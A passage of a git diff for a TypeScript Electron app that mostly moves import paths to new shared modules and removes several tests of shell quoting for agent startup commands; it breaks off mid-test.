b/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-board-task-status-sync.ts @@ -8,7 +8,7 @@ import { import { hostWorktreeTarget } from '../../../../../../shared/worktree/host-qualified-identity' import { getRuntimeTargetForWorktreeOwner } from '@/lib/files/access/file-owner-runtime-target' import { runtimeTargetForWorkspaceOwner } from '@/lib/workspace/ownership/resolve-owner' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { warnAmbiguousOwnerOnce } from '@/lib/workspace/ownership/ambiguous-owner-warning' import type { WorktreeOperationRouteState } from '@/lib/workspace/ownership/worktree-operation-route' import type { RowLessSource as RuntimeLinearSettings } from '@/runtime/hosts/selection/default-creation-host' diff --git a/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-kanban-board-projection.ts b/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-kanban-board-projection.ts index 7dfd7252576..978a3caafc3 100644 --- a/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-kanban-board-projection.ts +++ b/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-kanban-board-projection.ts @@ -11,7 +11,7 @@ import { getWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' import type { WorkspaceStatusDefinition, Worktree } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WorktreeDragGroup } from '../../worktree-list/drag/worktree-manual-order' import type { useRepoMap } from '@/store/repos/use-repository-catalog' diff --git a/src/renderer/src/components/sidebar/workspace-board/surface/use-visible-workspace-kanban-worktree-ids.ts b/src/renderer/src/components/sidebar/workspace-board/surface/use-visible-workspace-kanban-worktree-ids.ts index 9bef8709055..930696b96ee 100644 --- a/src/renderer/src/components/sidebar/workspace-board/surface/use-visible-workspace-kanban-worktree-ids.ts +++ b/src/renderer/src/components/sidebar/workspace-board/surface/use-visible-workspace-kanban-worktree-ids.ts @@ -6,7 +6,7 @@ import type { Worktree } from '../../../../../../shared/worktree/types' import '../../worktree-list/listing/visible-worktrees' import { computeVisibleWorktrees } from '../../worktree-list/listing/compute-visible-worktrees' import { createLiveAgentWorktreeIdsSelector } from '@/lib/workspace/activity/worktree-activity-state' -import { getSettingsFocusedExecutionHostId } from '../../../../../../shared/execution-host' +import { getSettingsFocusedExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { AppState } from '@/store/types' import { EMPTY_PAIRED_DEVICE_IDS_BY_ENVIRONMENT, diff --git a/src/renderer/src/components/sidebar/workspace-card/activity/WorktreeCardAgents.tsx b/src/renderer/src/components/sidebar/workspace-card/activity/WorktreeCardAgents.tsx index d4e842d059a..f34ef7940ad 100644 --- a/src/renderer/src/components/sidebar/workspace-card/activity/WorktreeCardAgents.tsx +++ b/src/renderer/src/components/sidebar/workspace-card/activity/WorktreeCardAgents.tsx @@ -12,7 +12,7 @@ import { import { useAgentPresentation, useWorktreeAgentRow } from './useWorktreeAgentRows' import { useHostRootKeys } from './use-worktree-agent-host-roots' import { KeyedSummary } from './worktree-card-agent-keyed-summary' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useWorktreeAgentDisplay } from './use-worktree-agent-display' import { cn } from '@/lib/class-names' import { recomputeOn } from '@/lib/recompute-on' diff --git a/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-agent-activation.ts b/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-agent-activation.ts index 434f00acec0..77cd9c986ad 100644 --- a/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-agent-activation.ts +++ b/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-agent-activation.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getStructuredAgentSessionTabsByPaneKey } from '@/components/native-chat/session/status/structured-agent-session-tabs' import { structuredAgentSessionOwnerForTab, diff --git a/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-agent-display.ts b/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-agent-display.ts index 9600ec85a18..73cb4865ba3 100644 --- a/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-agent-display.ts +++ b/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-agent-display.ts @@ -1,6 +1,6 @@ import { useShallow } from 'zustand/react/shallow' import { useAppStore } from '@/store' -import { DEFAULT_AGENT_ACTIVITY_DISPLAY_MODE } from '../../../../../../shared/constants' +import { DEFAULT_AGENT_ACTIVITY_DISPLAY_MODE } from '../../../../../../shared/agent-status/presentation/agent-activity-display-mode' export function useWorktreeAgentDisplay() { return useAppStore( diff --git a/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-agent-host-roots.ts b/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-agent-host-roots.ts index 8a388ac58ad..e095edb4900 100644 --- a/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-agent-host-roots.ts +++ b/src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-agent-host-roots.ts @@ -1,6 +1,6 @@ import { useCallback, useMemo } from 'react' import { useAppStateValue } from '@/store/retained-views/app-state-view' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { createWorktreeAgentHostKeysSelector } from './worktree-agent-rows-projection' /** Roots a host-scoped card shows; the same keys while no same-ID twin's rows are mixed in. */ diff --git a/src/renderer/src/components/sidebar/workspace-card/activity/useWorktreeAgentRows.ts b/src/renderer/src/components/sidebar/workspace-card/activity/useWorktreeAgentRows.ts index 5cd979422d2..c9694ad212c 100644 --- a/src/renderer/src/components/sidebar/workspace-card/activity/useWorktreeAgentRows.ts +++ b/src/renderer/src/components/sidebar/workspace-card/activity/useWorktreeAgentRows.ts @@ -3,7 +3,7 @@ import { useCallback, useMemo, useSyncExternalStore } from 'react' import { useStore } from 'zustand' import type { DashboardAgentRow } from '@/components/dashboard/rows/dashboard-agent-row' import type { AgentStatusProjection } from '@/store/slices/agent-status/agent-status-projection' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { createWorktreeAgentRowsSelector, EMPTY_AGENT_ROWS, diff --git a/src/renderer/src/components/sidebar/workspace-card/activity/worktree-agent-rows-projection.ts b/src/renderer/src/components/sidebar/workspace-card/activity/worktree-agent-rows-projection.ts index ca74a610fad..03174b06aa7 100644 --- a/src/renderer/src/components/sidebar/workspace-card/activity/worktree-agent-rows-projection.ts +++ b/src/renderer/src/components/sidebar/workspace-card/activity/worktree-agent-rows-projection.ts @@ -8,7 +8,7 @@ import type { DashboardAgentRow } from '@/components/dashboard/rows/dashboard-ag import { applyAgentRowLineage } from '@/components/dashboard/rows/agent-row-lineage' import type { AppState } from '@/store/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getAgentPaneExecutionHost } from '@/store/slices/agent-status/agent-pane-execution-host' import { recordChangeReaches } from '@/store/keyed-record-change-reads' import { parsePaneKey } from '../../../../../../shared/workspace-layout/stable-pane-id' diff --git a/src/renderer/src/components/sidebar/workspace-card/activity/worktree-card-agents-expansion-state.ts b/src/renderer/src/components/sidebar/workspace-card/activity/worktree-card-agents-expansion-state.ts index c4f2ab802c0..b0ae288dc77 100644 --- a/src/renderer/src/components/sidebar/workspace-card/activity/worktree-card-agents-expansion-state.ts +++ b/src/renderer/src/components/sidebar/workspace-card/activity/worktree-card-agents-expansion-state.ts @@ -1,5 +1,5 @@ import { useCallback, useSyncExternalStore } from 'react' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { composeWorktreeHostIdentity, type HostScopedWorktreeKey diff --git a/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-activation-actions.ts b/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-activation-actions.ts index cf7a155b43e..08693384e5d 100644 --- a/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-activation-actions.ts +++ b/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-activation-actions.ts @@ -1,6 +1,6 @@ import React, { useCallback, useEffect, useLayoutEffect, useRef } from 'react' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import '@/diagnostics/crash-reporting/crash-diagnostics' import { recordRendererCrashBreadcrumb } from '../../../../diagnostics/crash-reporting/crash-breadcrumb-recorder' import { activateWorktreeFromSidebar } from '@/lib/workspace/activation/sidebar-worktree-activation' diff --git a/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-foundation.ts b/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-foundation.ts index 87da2134eff..e5c7057de42 100644 --- a/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-foundation.ts +++ b/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-foundation.ts @@ -1,12 +1,12 @@ import React, { useCallback, useEffect, useMemo, useState } from 'react' -import { DEFAULT_AGENT_ACTIVITY_DISPLAY_MODE } from '../../../../../../shared/constants' +import { DEFAULT_AGENT_ACTIVITY_DISPLAY_MODE } from '../../../../../../shared/agent-status/presentation/agent-activity-display-mode' import { getWorktreeCardDetails } from '../../../../../../shared/worktree/row-display/card-properties' import { isRuntimeOwnedSshTargetId, parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getHostDisplayLabelOverrides } from '../../../../../../shared/execution-host/host-setting-overrides' import { getWorkspacePortsByWorktreeId } from '@/lib/workspace-ports/workspace-port-groups' import { runtimeEnvironmentIdUnlessTwin } from '@/lib/workspace/ownership/resolve-owner' diff --git a/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-lifecycle-effects.ts b/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-lifecycle-effects.ts index 1a88dbbf7b6..086debfaa66 100644 --- a/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-lifecycle-effects.ts +++ b/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-lifecycle-effects.ts @@ -1,7 +1,7 @@ import '@/store/slices/linear/linear-issue-read' import { consumeLinearIssueRead } from '@/store/slices/linear/linear-issue-read-lifecycle' import { useEffect, useMemo } from 'react' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getGitHubIssueUrlRepository, getWorktreeGitHubIssueUrl diff --git a/src/renderer/src/components/sidebar/workspace-card/identity/AutoRenameFailedDialog.tsx b/src/renderer/src/components/sidebar/workspace-card/identity/AutoRenameFailedDialog.tsx index 5ba46b869c7..99ad0efbd5c 100644 --- a/src/renderer/src/components/sidebar/workspace-card/identity/AutoRenameFailedDialog.tsx +++ b/src/renderer/src/components/sidebar/workspace-card/identity/AutoRenameFailedDialog.tsx @@ -13,7 +13,7 @@ import { i18n } from '@/i18n/i18n' import { useTranslate } from '@/i18n/use-translate' import { useAppStore } from '@/store/index' import { toast } from 'sonner' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { cn } from '@/lib/class-names' type AutoRenameFailedDialogProps = { diff --git a/src/renderer/src/components/sidebar/workspace-card/identity/WorktreeCardIdentity.fixture.tsx b/src/renderer/src/components/sidebar/workspace-card/identity/WorktreeCardIdentity.fixture.tsx index 60007dc5ae7..11a98c91206 100644 --- a/src/renderer/src/components/sidebar/workspace-card/identity/WorktreeCardIdentity.fixture.tsx +++ b/src/renderer/src/components/sidebar/workspace-card/identity/WorktreeCardIdentity.fixture.tsx @@ -1,4 +1,4 @@ -import { getDefaultSettings } from '../../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' import { defineFixture } from '../../../../component-fixtures/component-fixture' import { makeRepo, makeWorktree } from '../../../worktree-jump/worktree-jump-palette-test-fixtures' import WorktreeCard from '../surface/WorktreeCard' diff --git a/src/renderer/src/components/sidebar/workspace-card/metadata/WorktreeMetaDialogDraft.tsx b/src/renderer/src/components/sidebar/workspace-card/metadata/WorktreeMetaDialogDraft.tsx index 4e553adf46e..8df976a4c98 100644 --- a/src/renderer/src/components/sidebar/workspace-card/metadata/WorktreeMetaDialogDraft.tsx +++ b/src/renderer/src/components/sidebar/workspace-card/metadata/WorktreeMetaDialogDraft.tsx @@ -25,7 +25,7 @@ import { getWorktreeExecutionHostId, parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import '@/lib/workspace/ownership/worktree-runtime-owner-index' import { findIndexedRepoOwnerForHost } from '@/lib/workspace/ownership/repo-owner-index' import { getWorkspaceAttachments } from '../../../../../../shared/workspace-attachments/workspace-attachments' diff --git a/src/renderer/src/components/sidebar/workspace-card/metadata/use-worktree-meta-workspace.ts b/src/renderer/src/components/sidebar/workspace-card/metadata/use-worktree-meta-workspace.ts index ceabab86ac3..f7d9db40e7f 100644 --- a/src/renderer/src/components/sidebar/workspace-card/metadata/use-worktree-meta-workspace.ts +++ b/src/renderer/src/components/sidebar/workspace-card/metadata/use-worktree-meta-workspace.ts @@ -6,7 +6,7 @@ import { } from '@/lib/workspace/ownership/worktree-runtime-owner-index' import '../../../../../../shared/folder-workspaces/folder-workspace-execution-host' import { getFolderWorkspaceHostId } from '../../../../../../shared/folder-workspaces/folder-workspace-host-id' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../../../shared/worktree/types' import { parseWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import { folderWorkspaceToWorktree } from '../../../../../../shared/folder-workspaces/folder-workspace-worktree' diff --git a/src/renderer/src/components/sidebar/workspace-card/metadata/worktree-card-meta-row.tsx b/src/renderer/src/components/sidebar/workspace-card/metadata/worktree-card-meta-row.tsx index e99130367b0..84f2021f9b4 100644 --- a/src/renderer/src/components/sidebar/workspace-card/metadata/worktree-card-meta-row.tsx +++ b/src/renderer/src/components/sidebar/workspace-card/metadata/worktree-card-meta-row.tsx @@ -4,7 +4,7 @@ import { DetachedHeadBadge } from '@/components/DetachedHeadBadge' import CacheTimer from '../activity/CacheTimer' import { WorktreeHostContextBadge } from '../host/WorktreeHostContextBadge' import { useWslHostDistro, WslHostMark } from '@/components/wsl-host-mark/WslHostMark' -import { getWorktreeExecutionHostId } from '../../../../../../shared/execution-host' +import { getWorktreeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { TruncatedSidebarLabel } from '../../truncated-sidebar-label' import { WorktreeCardConflictBadge, diff --git a/src/renderer/src/components/sidebar/workspace-card/metadata/worktree-meta-dialog-owner.ts b/src/renderer/src/components/sidebar/workspace-card/metadata/worktree-meta-dialog-owner.ts index 0d72504ce62..cbb4eccdfd7 100644 --- a/src/renderer/src/components/sidebar/workspace-card/metadata/worktree-meta-dialog-owner.ts +++ b/src/renderer/src/components/sidebar/workspace-card/metadata/worktree-meta-dialog-owner.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export function getWorktreeMetaDialogOwner(state: { activeModal: string diff --git a/src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-detail-read.ts b/src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-detail-read.ts index 8d1b94add6d..e6946929f55 100644 --- a/src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-detail-read.ts +++ b/src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-detail-read.ts @@ -4,7 +4,7 @@ import { consumeLinearIssueRead } from '@/store/slices/linear/linear-issue-read- import { useAppStore } from '@/store' import type { AppState } from '@/store/types' import { PrioritySemaphore } from '../../../../../../shared/concurrency/priority-semaphore' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getTaskSourceCacheScope } from '../../../../../../shared/work-items/task-source-context' import { getGitHubIssueUrlRepository } from '../../../../../../shared/worktree/github-issue-repository' import { issueCacheSuffix } from '@/store/github/cache/cache-identity' diff --git a/src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-details.ts b/src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-details.ts index ae15316eb8f..d13381aace8 100644 --- a/src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-details.ts +++ b/src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-details.ts @@ -8,7 +8,7 @@ import { import { getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getWorkspaceAttachmentKey, getWorkspaceAttachmentUrlScope diff --git a/src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-review-source.ts b/src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-review-source.ts index 771184ce4a0..999ef9e3b09 100644 --- a/src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-review-source.ts +++ b/src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-review-source.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { HostedReviewProvider } from '../../../../../../shared/source-control/hosted-review/hosted-review-contracts' import { canUseWorkspaceReviewForChecks, diff --git a/src/renderer/src/components/sidebar/workspace-card/review/worktree-card-jira-issue-display.ts b/src/renderer/src/components/sidebar/workspace-card/review/worktree-card-jira-issue-display.ts index 9a22a090166..757d3bfec59 100644 --- a/src/renderer/src/components/sidebar/workspace-card/review/worktree-card-jira-issue-display.ts +++ b/src/renderer/src/components/sidebar/workspace-card/review/worktree-card-jira-issue-display.ts @@ -1,4 +1,4 @@ -import type { WorktreeCardProperty } from '../../../../../../shared/ui-chrome-types' +import type { WorktreeCardProperty } from '../../../../../../shared/ui-chrome/ui-chrome-types' import type { Worktree } from '../../../../../../shared/worktree/types' import type { WorktreeCardJiraIssueDisplay } from '../metadata/worktree-card-meta-types' diff --git a/src/renderer/src/components/sidebar/workspace-card/review/worktree-card-pr-derivation.ts b/src/renderer/src/components/sidebar/workspace-card/review/worktree-card-pr-derivation.ts index 3983dd3d0ea..835ffe47ac3 100644 --- a/src/renderer/src/components/sidebar/workspace-card/review/worktree-card-pr-derivation.ts +++ b/src/renderer/src/components/sidebar/workspace-card/review/worktree-card-pr-derivation.ts @@ -8,7 +8,7 @@ import type { HostedReviewInfo } from '../../../../../../shared/source-control/h import { getWorktreeGitIdentityDisplay } from '../../../../../../shared/worktree/row-display/git-identity-display' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { Worktree } from '../../../../../../shared/worktree/types' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { getDetachedWorkspaceReviewRequest } from './workspace-detached-review-request' import { getWorktreeCardPrDisplay, diff --git a/src/renderer/src/components/sidebar/workspace-card/surface/WorktreeCardDetailsRow.fixture.tsx b/src/renderer/src/components/sidebar/workspace-card/surface/WorktreeCardDetailsRow.fixture.tsx index d168f0c1198..2c13f11c42d 100644 --- a/src/renderer/src/components/sidebar/workspace-card/surface/WorktreeCardDetailsRow.fixture.tsx +++ b/src/renderer/src/components/sidebar/workspace-card/surface/WorktreeCardDetailsRow.fixture.tsx @@ -1,7 +1,7 @@ import { defineFixture } from '../../../../component-fixtures/component-fixture' import { useAppStore } from '@/store' import type { Worktree } from '../../../../../../shared/worktree/types' -import type { WorktreeCardProperty } from '../../../../../../shared/ui-chrome-types' +import type { WorktreeCardProperty } from '../../../../../../shared/ui-chrome/ui-chrome-types' import { FIXTURE_REPO, makeWorktree } from '../../worktree-card-slot-fixture-seeds' import WorktreeCard from './WorktreeCard' diff --git a/src/renderer/src/components/sidebar/workspace-card/surface/WorktreeCardVmState.fixture.tsx b/src/renderer/src/components/sidebar/workspace-card/surface/WorktreeCardVmState.fixture.tsx index a215898d26b..179ff6695c4 100644 --- a/src/renderer/src/components/sidebar/workspace-card/surface/WorktreeCardVmState.fixture.tsx +++ b/src/renderer/src/components/sidebar/workspace-card/surface/WorktreeCardVmState.fixture.tsx @@ -1,4 +1,4 @@ -import { getDefaultSettings } from '../../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' import type { EphemeralVmRuntimeStatus } from '../../../../../../shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtimes' import { defineFixture } from '../../../../component-fixtures/component-fixture' import { makeRepo, makeWorktree } from '../../../worktree-jump/worktree-jump-palette-test-fixtures' diff --git a/src/renderer/src/components/sidebar/workspace-card/surface/worktree-card-option-items.tsx b/src/renderer/src/components/sidebar/workspace-card/surface/worktree-card-option-items.tsx index 6fb5140c863..d3ee3a85a23 100644 --- a/src/renderer/src/components/sidebar/workspace-card/surface/worktree-card-option-items.tsx +++ b/src/renderer/src/components/sidebar/workspace-card/surface/worktree-card-option-items.tsx @@ -10,7 +10,7 @@ import { DropdownMenuSubContent, DropdownMenuSubTrigger } from '@/components/ui/dropdown-menu' -import type { WorktreeCardProperty } from '../../../../../../shared/ui-chrome-types' +import type { WorktreeCardProperty } from '../../../../../../shared/ui-chrome/ui-chrome-types' import { getWorkspaceCardPropertiesValue } from '../../../../../../shared/workspace-view/workspace-view-options' import { AGENT_ACTIVITY_DISPLAY_OPTIONS, diff --git a/src/renderer/src/components/sidebar/workspace-card/template/build-workspace-card-facts.ts b/src/renderer/src/components/sidebar/workspace-card/template/build-workspace-card-facts.ts index 7ae493e5dd6..64e521d0fdb 100644 --- a/src/renderer/src/components/sidebar/workspace-card/template/build-workspace-card-facts.ts +++ b/src/renderer/src/components/sidebar/workspace-card/template/build-workspace-card-facts.ts @@ -1,5 +1,5 @@ import { getWorkspaceAttachments } from '../../../../../../shared/workspace-attachments/workspace-attachments' -import type { WorktreeCardProperty } from '../../../../../../shared/ui-chrome-types' +import type { WorktreeCardProperty } from '../../../../../../shared/ui-chrome/ui-chrome-types' import type { WorkspaceCardFacts, WorkspaceCardShowOptions diff --git a/src/renderer/src/components/sidebar/workspace-card/template/card-identity-parts.tsx b/src/renderer/src/components/sidebar/workspace-card/template/card-identity-parts.tsx index 53c424abc78..f0a69206259 100644 --- a/src/renderer/src/components/sidebar/workspace-card/template/card-identity-parts.tsx +++ b/src/renderer/src/components/sidebar/workspace-card/template/card-identity-parts.tsx @@ -1,7 +1,7 @@ import React from 'react' import { DetachedHeadBadge } from '@/components/DetachedHeadBadge' import { useWslHostDistro, WslHostMark } from '@/components/wsl-host-mark/WslHostMark' -import { getWorktreeExecutionHostId } from '../../../../../../shared/execution-host' +import { getWorktreeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import CacheTimer from '../activity/CacheTimer' import { TruncatedSidebarLabel } from '../../truncated-sidebar-label' import type { WorktreeCardController } from '../controller/use-worktree-card-controller' diff --git a/src/renderer/src/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit-host-platform.test.ts b/src/renderer/src/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit-host-platform.test.ts index 1f71d020902..45552ab5624 100644 --- a/src/renderer/src/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit-host-platform.test.ts +++ b/src/renderer/src/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit-host-platform.test.ts @@ -19,17 +19,14 @@ vi.mock( ) vi.mock('electron', () => ({ app: { getPath: () => '/tmp' } })) -import { getDefaultSettings } from '../../../../../../shared/constants' -import { FolderWorkspaceCreate } from '../../../../../../shared/rpc-contract/workspaces/folder-workspace-params' -import { FolderWorkspaceCreateArgs } from '../../../../../../main/ipc/repos/repo-ipc-arg-schemas' -import { - buildWorktreeStartupForAgent, - buildWorktreeStartupForDraft -} from '../../../../../../main/runtime/workspaces/startup/runtime-worktree-agent-startup' -import { prepareGroupFolderCreation } from '../../../../../../main/runtime/workspaces/creation/runtime-group-folder-setup' +import '../../../../../../shared/orca-profiles/constants' +import '../../../../../../shared/rpc-contract/workspaces/folder-workspace-params' +import '../../../../../../main/ipc/repos/repo-ipc-arg-schemas' +import '../../../../../../main/runtime/workspaces/startup/runtime-worktree-agent-startup' +import '../../../../../../main/runtime/workspaces/creation/runtime-group-folder-setup' import { useAppStore } from '@/store/index' import { submitFolderWorkspaceCreate } from './folder-workspace-composer-submit' -import { getFolderWorkspaceAgentLaunchFact } from './folder-workspace-agent-startup' +import './folder-workspace-agent-startup' // The owning server’s OS determines agent command quoting. describe('submitFolderWorkspaceCreate on an Orca server', () => { @@ -37,142 +34,11 @@ describe('submitFolderWorkspaceCreate on an Orca server', () => { mocks.activateAndRevealFolderWorkspace.mockReturnValue({ primaryTabId: 'tab-1' }) }) - it('quotes quick-agent startup for POSIX when the folder group is a local WSL UNC path', async () => { - const createFolderWorkspace = vi.fn(async () => ({ folderWorkspace: makeFolderWorkspace() })) - const projectGroup = { - ...makeProjectGroup(), - parentPath: '\\\\wsl.localhost\\Ubuntu\\home\\alice\\platform' - } - - expect(getFolderWorkspaceAgentLaunchFact(useAppStore.getState(), projectGroup)).toMatchObject({ - platform: 'linux' - }) - - await submitFolderWorkspaceCreate({ - projectGroup, - name: 'WSL folder', - lastAutoName: '', - linkedWorkItem: null, - note: "Use Bob's POSIX startup", - quickAgent: 'claude', - autoRenameBranchFromWork: false, - agentCmdOverrides: {}, - createFolderWorkspace, - onOpenChange: vi.fn() - }) - - expect(mocks.activateAndRevealFolderWorkspace).toHaveBeenCalledWith( - 'folder-workspace-1', - expect.objectContaining({ - startup: expect.objectContaining({ - command: `claude 'Use Bob'"'"'s POSIX startup'` - }) - }) - ) - }) - - it('quotes quick-agent startup for the Windows OS the SSH relay reported', async () => { - const createFolderWorkspace = vi.fn(async () => ({ folderWorkspace: makeFolderWorkspace() })) - const projectGroup = { - ...makeProjectGroup(), - connectionId: 'ssh-windows', - parentPath: 'C:\\Users\\alice\\platform' - } - useAppStore.setState({ - sshConnectionStates: new Map([ - [ - 'ssh-windows', - { - targetId: 'ssh-windows', - status: 'connected', - error: null, - reconnectAttempt: 0, - remotePlatform: 'win32' - } - ] - ]) - }) - - expect(getFolderWorkspaceAgentLaunchFact(useAppStore.getState(), projectGroup)).toMatchObject({ - platform: 'win32' - }) - - await submitFolderWorkspaceCreate({ - projectGroup, - name: 'Remote Windows folder', - lastAutoName: '', - linkedWorkItem: null, - note: "Use Bob's Windows startup", - quickAgent: 'claude', - autoRenameBranchFromWork: false, - agentCmdOverrides: {}, - createFolderWorkspace, - onOpenChange: vi.fn() - }) - - expect(mocks.activateAndRevealFolderWorkspace).toHaveBeenCalledWith( - 'folder-workspace-1', - expect.objectContaining({ - startup: expect.objectContaining({ - command: "claude 'Use Bob''s Windows startup'" - }) - }) - ) - }) - afterEach(() => { mocks.activateAndRevealFolderWorkspace.mockReset() useAppStore.setState({ runtimeStatusByEnvironmentId: new Map() }) }) - it('quotes quick-agent startup for the Orca server that owns the folder group', async () => { - const createFolderWorkspace = vi.fn(async () => ({ folderWorkspace: makeFolderWorkspace() })) - const projectGroup = { - ...makeProjectGroup(), - executionHostId: 'runtime:win-box', - parentPath: 'D:\\platform' - } - useAppStore.setState({ - runtimeStatusByEnvironmentId: new Map([ - [ - 'win-box', - { - checkedAt: 1, - status: { - runtimeId: 'rt', - rendererGraphEpoch: 0, - graphStatus: 'ready', - authoritativeWindowId: null, - liveTabCount: 0, - liveLeafCount: 0, - hostPlatform: 'win32' - } - } - ] - ]) - }) - - await submitFolderWorkspaceCreate({ - projectGroup, - name: 'Server folder', - lastAutoName: '', - linkedWorkItem: null, - note: "Use Bob's server startup", - quickAgent: 'claude', - autoRenameBranchFromWork: false, - agentCmdOverrides: {}, - createFolderWorkspace, - onOpenChange: vi.fn() - }) - - expect(mocks.activateAndRevealFolderWorkspace).toHaveBeenCalledWith( - 'folder-workspace-1', - expect.objectContaining({ - startup: expect.objectContaining({ command: "claude 'Use Bob''s server startup'" }) - }) - ) - }) - it('refuses an agent launch on an Orca server that never reported its OS', async () => { const createFolderWorkspace = vi.fn(async () => ({ folderWorkspace: makeFolderWorkspace() })) useAppStore.setState({ runtimeStatusByEnvironmentId: new Map() }) @@ -194,223 +60,3 @@ describe('submitFolderWorkspaceCreate on an Orca server', () => { expect(createFolderWorkspace).not.toHaveBeenCalled() }) }) - -it.each([ - { agent: 'codex', delivery: 'draft' }, - { agent: 'claude', delivery: null }, - { agent: 'autohand', delivery: 'auto-submit' } -] as const)( - 'preserves the actual paired $agent delivery through schemas and the host starter ($delivery)', - async ({ agent, delivery }) => { - mocks.activateAndRevealFolderWorkspace.mockReturnValue({ primaryTabId: 'setup-tab' }) - mocks.seedDraft.mockClear() - const projectGroup = { ...makeProjectGroup(), executionHostId: 'runtime:paired' as const } - useAppStore.setState({ - runtimeStatusByEnvironmentId: new Map([ - [ - 'paired', - { - checkedAt: 1, - status: { - runtimeId: 'rt', - rendererGraphEpoch: 0, - graphStatus: 'ready', - authoritativeWindowId: null, - liveTabCount: 0, - liveLeafCount: 0, - hostPlatform: 'linux' - } - } - ] - ]) - }) - const pasteDraft = vi.fn() - const createTerminal = vi.fn(async (_selector: string, _options: unknown) => ({ - handle: 'agent', - tabId: 'returned-agent-tab', - 